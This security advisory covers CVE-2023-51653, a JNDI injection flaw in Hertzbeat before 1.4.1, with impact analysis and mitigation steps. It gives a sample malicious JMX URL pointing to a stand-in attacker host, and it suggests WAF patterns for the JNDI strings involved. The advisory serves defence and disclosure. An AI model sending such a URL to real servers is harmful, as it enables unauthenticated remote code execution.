CVE-2023-51653 is a security vulnerability identified in the dromara Hertzbeat real-time monitoring system, specifically affecting versions prior to 1.4.1. The vulnerability arises from improper neutralization of special elements in output used by a downstream component, classified under CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component - Injection). The issue is located in the implementation of the JmxCollectImpl.java class, where the method JMXConnectorFactory.connect is susceptible to JNDI (Java Naming and Directory Interface) injection attacks. The vulnerable interface is exposed at the endpoint /api/monitor/detect, which accepts a URL parameter. If an attacker supplies a malicious URL such as service:jmx:rmi:///jndi/rmi://malicious-host:1099/localHikari, the system will use this URL by default, enabling the attacker to exploit the JNDI lookup mechanism to trigger remote code execution (RCE) on the server hosting Hertzbeat. This vulnerability allows an attacker to execute arbitrary code remotely without authentication or user interaction, given that the vulnerable endpoint is accessible. The root cause is the lack of proper input validation or sanitization of the URL parameter before it is passed to JMXConnectorFactory.connect, which internally performs JNDI lookups. The vulnerability was addressed and fixed in Hertzbeat version 1.4.1. There are no known exploits in the wild at the time of this report, but the potential for exploitation is significant due to the nature of JNDI injection and RCE. The vulnerability is classified as medium severity by the vendor, but the technical impact can be severe depending on deployment context.

For European organizations using Hertzbeat versions prior to 1.4.1, this vulnerability poses a significant risk. Hertzbeat is used for real-time monitoring of IT infrastructure, and a successful exploit could lead to full remote code execution on monitoring servers. This can compromise the confidentiality, integrity, and availability of the monitoring infrastructure and potentially the broader network if lateral movement is achieved. The monitoring system often has privileged access or visibility into critical systems, so compromise can lead to data exfiltration, disruption of monitoring capabilities, or use of the compromised host as a pivot point for further attacks. Given the critical role of monitoring in operational technology (OT) and IT environments, exploitation could impact sectors such as finance, manufacturing, energy, and public services. Additionally, disruption or manipulation of monitoring data can delay detection of other attacks or system failures, increasing overall risk. Although no active exploits are reported, the ease of exploitation via a crafted URL and the lack of authentication requirements for the vulnerable endpoint increase the threat level. Organizations relying on Hertzbeat should consider this vulnerability a serious operational risk until patched.

1. Immediate upgrade to Hertzbeat version 1.4.1 or later, which contains the fix for this vulnerability. 2. If upgrading is not immediately possible, restrict access to the /api/monitor/detect endpoint via network segmentation, firewall rules, or API gateway controls to trusted IP addresses only. 3. Implement Web Application Firewall (WAF) rules to detect and block suspicious JNDI lookup patterns or URLs containing 'service:jmx:rmi' and 'jndi/rmi' strings. 4. Conduct thorough input validation and sanitization on any user-supplied URL parameters before they are processed by JMXConnectorFactory.connect, if custom modifications are possible. 5. Monitor logs for unusual JNDI lookup attempts or unexpected connections to external RMI servers, which may indicate exploitation attempts. 6. Employ runtime application self-protection (RASP) or endpoint detection and response (EDR) solutions to detect anomalous process behavior indicative of remote code execution. 7. Educate development and operations teams about the risks of JNDI injection and secure coding practices to prevent similar vulnerabilities. 8. Regularly audit and inventory all monitoring tools and their versions to ensure timely patching of known vulnerabilities.